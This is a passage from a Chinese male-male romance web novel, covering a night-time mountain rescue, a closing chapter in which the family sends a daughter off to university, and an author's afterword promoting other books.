秦妄跟在他的身后。 青石板的台阶很快走完了,剩下的都是泥路,走一步脚上沾一层泥,步伐越走越沉,像灌铅,还时不时地想要滑倒。 秦妄早些年当兵的时候脚上绑过沙袋爬山,和这个时候差不多,体力练出来了,没多大不适。 带他上来的老板年纪大了,没一会儿便弯腰喘气。 秦妄没让他再上去了,打开手机上的导航,自己一个人上山。 老板有点不放心他,“你小心点。” 男人头也不回地走入漆黑的夜里。 这个山是一处景点,上面的一些特色建筑导航上都标注的有,温真上来是看石像,那么不管是什么原因没下山,肯定在石像周围的地方…… 秦妄脚步不敢停……这个时候秦妄害怕的并不是找不到人,而是温真会不会昏迷,现在是凌晨一点…… 温真如果是四点上山的,那就过去九个小时了,八个小时没有进食,在这么冷的天气下,很容易失温…… 越往山上,天气越冷,他的手冻僵了,心脏好像也冻僵了,是麻木的,没有情感,和看见他妈妈的尸体被下葬那天一样,他那时候是想把土挖出来,此刻想的是找到人后,他要把他囚禁起来,锁起来,哪里也不许去。 半个小时后,他看见了那些石像。 树枝被刮断乱七八糟横了一地,有一个石像都被砸裂了,秦妄以这些石像为中心,逐渐扩大寻找范围,听到那一声微弱的应答时,他脑袋嗡地一声。 一开始温真掐着自己的掌心还能保持清醒,可越到后面他脑袋越是昏沉,是听到树枝砸下来才又猛地清醒的。 那些树枝砸在洞穴口外面,正好挡住了出口,砸下来的树枝实在太大了,他试着挪动了好几次都不行,最后力气耗尽,本来想歇一歇,没想到直接昏睡过去了,迷迷糊糊听到外面有人叫他,他醒过来的。 湿掉的衣服被冷风一刮,像是冰块一样裹在身上,温真的脸一点血色都没有,惨白惨白的,长长的睫毛颤抖着。 没有力气,他连声音都无法大声地发出来,沙哑着应了几声。 对方没有听见,叫温真的声音越来越小,逐渐在远去。 温真想出去,可是他力气全部都耗尽了,推不动那么粗大的树枝,和脸一样惨白的手指按在树枝上,肩膀颤抖着。 他想,自己可能真的要死在这里了。 *** 沿着石像往右边走,有一个断层,断层底下乱七八糟横了很多树干,隐隐约约能看到一个洞口,秦妄跳下去,雨靴在地面上重重砸出两个坑,雨靴沉重地抬起来,将枝叶踩进泥土里…… 秦妄挪走堵在洞穴里的树枝……男人蜷缩在洞穴里,脸色苍白,眼睛紧闭,心脏像是被人捏住了,酸痛着,秦妄重重呼出一口气,快速打开背包,把里面的急救毯拿出来,半蹲下身,严严实实将温真整个身体裹住…… 秦妄捧着他的脸,抵着他的额头,哑声叫他名字。 温真呼吸微弱地睁开眼睛…… 意识有些糊涂,认出他后,身体颤抖着,轻轻张嘴,“坏人……” “我是坏人?”秦妄咬牙反问。 “嗯,嗯……”说完,温真体力耗尽,昏过去了。 怒到一定程度,秦妄听到温真说的话,气得想笑,也不管温真能不能听见,冷声。 “我是坏人,回去把你关起来。” 体力耗尽的温真浑身软绵绵的,像一块柔软的液体,被秦妄轻而易举地托抱起来抗在肩膀上。 洞穴在断层下面,秦妄抱着温真上不去,先把他抱上去,让他在断层上面坐好。 雨停了,风还在刮,从大树上面又落下一根树枝,擦着秦妄的脸落地,秦妄低头看了眼,和他小臂一样粗…… 一抬头发现温真要倒下来,伸开双臂接住他,因为重力往后退了一步,又湿又软的身体没有什么重量,再接十个他秦妄也不会吃力,坏就坏在他脚底下是泥,脚往后一滑,整个身体往后仰。 旁边有棵树,他扶着,不至于摔到,但温真在他怀里,他一动不敢动,硬是把自己当成人肉垫子,护着温真重重砸在地上,砸在地上又随着坡度滚了两圈。 男人一条小臂环住温真的腰背,青筋凸起的手把温真的后脑勺用力往自己怀里按,健硕宽大的身体成了肉盾,严严实实地抱着温真,愣是让温真一点磕碰都没有。 两人正好滚在一根横着的树干旁边,上面一小截折断的细枝刺到秦妄太阳穴上面一点的位置,然后往下一划,瞬间划出一个口子,血立即便汩汩冒出来了。 秦妄仰躺在泥地里,温真就趴在他怀里,秦妄松了一口气,托着他软乎乎的屁股,让温真的脑袋趴在他肩膀上抱着他站起来。 到断层上面后,秦妄简单地清理一下脑袋上的伤口,然后抱着温真下山,一些没来得及擦掉的血一滴一滴砸在温真脸上。 温真被滴醒了,一擦手上都是红的,他挣动着要从秦妄脖颈里抬头,要看血是从什么地方来的。 秦妄不给他看,宽大的手牢牢按着温真的后脑勺。 “血……” 秦妄说他脑袋冻傻了,骗他说这是汗,不是血…… 温真脸贴在男人的脖颈上,轻轻颤抖。 接下来他没有再彻底昏睡过去,而是醒着,但脑子昏昏沉沉,又冷又饿,肚子也一阵一阵地舒服。 天黑,山路陡,地又滑,秦妄一刻也不敢松懈,已经尽力走得小心了,温真在他怀里依旧颠簸地上上下下。 两个人的身体像在过山车,温真的肚子一下一下碰到秦妄的胸腹,这样加重了他的不适。 “嗯……” 温真低声呻吟。 秦妄语气紧绷,“不舒服?” “肚子……”温真轻声,“痛……” 【全文完结】 57 ? 第 57 章 ◎走入他们的家。◎ 秦宝章考完试后马不停歇到医院, 在病房门口撞到秦妄的身上,秦宝章气喘吁吁地问, “小叔,宁宁,宁宁……” 秦妄一脸凝重,“秦宝章,我要和你说一件事。” 秦宝章看他这副表情,语气又很沉重, 一屁股坐在地上,哇地哭起来,“宁宁!” “瞧你这点出息, ”秦妄踢他一脚, “行了,手术很成功, 现在正在休息呢。” 秦宝章止住哭声, 气愤道:“小叔!” “你怎么又逗他……”温真走出来, “宝章,别坐地上,快起来。” “宁宁手术很成功,你们两个可以上同一所大学了。”温真笑。 秦宝章猛地抱住温真,“温叔叔!” 秦妄把他拉远, “一边去。” 下午的时候付钰宁睁开眼睛, 秦宝章一张大脸直怼进她的眼睛,“宁宁,你醒了!” 秦宝章又开始抹泪, “宁宁……” 付钰宁微不可微地叹息一声。 “有没有不舒服?”温真问。 付钰宁摇头。 “手术很成功, 医生说等一个月后再做一个筛查, 没有问题后就可以出院了。”温真眼眶也不忍不住红起来,“以后只要按时吃药,定期复查,就能和正常人一样去上学了。” 付钰宁虚弱地笑。 一个月后,秦宝章高考结束,付钰宁出院。 一年后,付钰宁考上c大,开学那天,温真和秦妄带着宝宝去送她。 秦宝章比她早来一年,熟门熟路地带着他们到付钰宁的寝室楼。 “你怎么这么熟悉女寝怎么走?”付钰宁问,“是不是经常送女孩子回来?” “才没有!”秦宝章立即反驳,“我天天都在学习!” “这话你怎么有脸说出口的。”秦妄道。 “你别小瞧人!”秦宝章气愤。 “我相信你,宝章。”温真柔声,“你小叔故意逗你的。” “温叔叔。”秦宝章拉长音调。 正在吃糖的秦念韫忽然呕了一下,一岁五个月的他彻底长开,和秦妄简直是一个模子里刻出来的,“恶恶!” “你们!”秦宝章怒捶床板。 付钰宁乐不可支。 给付钰宁铺完床,他们一起在校园里逛了逛。 付钰宁和秦宝章正说着话,忽然又打闹起来,秦宝章还在生气她刚才说自己的事情,得到机会狠狠朝她脸上捏了一把,嘿嘿笑一声,立即跑远了。 刚会走路的秦念韫跟在付钰宁屁股后面,“Jiejie!” 付钰宁蹲下身伸开胳膊,将秦念韫一把抱在怀里,使劲地蹭了蹭他的小脸蛋,抱着他去追秦宝章。 追到后,指使秦念韫踢秦宝章,秦念韫一点不犹豫,一边踢秦宝章的屁股,一边咧开没长齐的牙齿咯咯笑。 “咕咕!” 温真跟在后面,看着不久之前还躺在病床上的付钰宁此刻健康又快乐,不由地感恩庆幸。 c大所在的城市离泾市有段距离,马上要天黑了,该回去了,付钰宁和秦宝章送他们到大门口,付钰宁亲亲秦念韫的脸蛋,温真道:“宝宝,和姐姐说再见。” 秦念韫抓住付钰宁的头发,不舍得和付钰宁分开,“布!布!” 秦妄掰开他的小爪子,秦念韫瘪着嘴,攥紧拳头,张大嘴巴,马上要放大招——嚎啕大哭。 秦妄往他嘴里塞了一个奶嘴,秦念韫嘬着,瞬间又憋了回去,乖巧地靠在温真怀里。 “一会儿还要去参加新生会,”秦宝章催促付钰宁,“我们快走吧。” 付钰宁红着眼圈看着温真,“爸爸……” “再见。” “你快进去吧……”温真颤声,“学习重要,身体也重要,要好好学习,也要好好休息。” 付钰宁以前总觉得温真讲这些话很烦,然而意识到随着自己上大学,上班,结婚,她将会越来越少听到温真的这些话,她又开始不舍得。 付钰宁重重点头,害怕自己哭出来,头也不回地走了。 “宁宁,”温真眼眶一热,紧追几步,“在学校一定要照顾好自己。” 付钰宁的身影汇入到鱼贯的人群中,很快消失不见,温真站在原地,心像是空了一块。 秦妄把他和秦念韫都抱在怀里,“孩子长大了,总归是要离开我们的。” 温真眼眶发热。 彻底意识到,付钰宁要脱离他的羽翼独自生活了。 *** 返程的路上,秦念韫坐在温真和秦妄的中间,他看了一眼秦妄,发现秦妄也正在看他,他嫌弃地转移目光,接着星星眼地看着温真。 很快他发现一个噩耗,妈妈哭了! 他皱起还稀疏的眉毛,不容分说地捧起温真的脸,用肉乎乎小手给温真擦泪,擦完还亲了温真一口。 “麻麻!不哭!” “宝宝一直陪麻麻!” 说完撅着小屁股挤秦妄一下,让他离自己和妈妈远一点。 温真原本还因为和付钰宁分开的事情而伤心,此刻被他小大人的模样逗笑了,“谢谢宝宝。” 秦妄看他小小年纪这么有心机,不仅抢自己的台词,还一直挤自己,忍无可忍,单手把他拎起来,“秦念韫,你皮痒了是不是?” “我告诉你,一直陪在他身边的只有我,等你成年,我就把你送到英国去留学。” 秦念韫被提到半空中,一时没办法挣扎,攥紧拳头。 可恶的爸爸! “好了,你放开他。”温真道。 秦妄放开他后,秦念韫立即扑进温真的怀里,委屈地哼唧,“麻麻!” 一定要温真说爸爸坏。 温真没办法只好假装地说了一下爸爸坏,秦念韫才乖乖地趴在温真的怀里,慢慢睡着了。 等他睡着,秦妄揽过温真的肩膀,抵着他的额头,“我坏吗?” 温真被他滚烫的气息弄得心悸,脸颊晕红起来,“骗宝宝的……” “亲我一下。”秦妄的手缓缓攀爬到温真的后脖颈,然后箍住他的后脑勺。 “宝宝还在……” “他睡着了。” 温真没躲过,只好去亲他,车厢里响起叽叽咕咕的水声。 睡着的秦念韫完全不知道刚刚还在说爸爸坏的妈妈正在被爸爸强迫亲吻着,亲得眼睛涣散,唇瓣鼓鼓的嫣红起来。 车子安稳行驶,一栋白墙红瓦的小楼从模糊变得清晰。 秦念韫醒过来,揉揉眼睛,似乎有些不认识自己的家了,好奇地趴在窗边看。 秦妄抱他下去,接着又牵住温真的手,温真露出一点笑意,回牵住他的手。 然后一起走入,走入他们的家。 【📢作者有话说】 正文完结啦!后面会写他们两个带娃香香的日常,还会写几个if线。 大家有什么想看的番外也可以发一下。 最后,下一本《人外攻让帝国圣君怀崽了》《胆怯小美人在无限世界被疼爱》希望大家收藏。 留评发红包!^ ^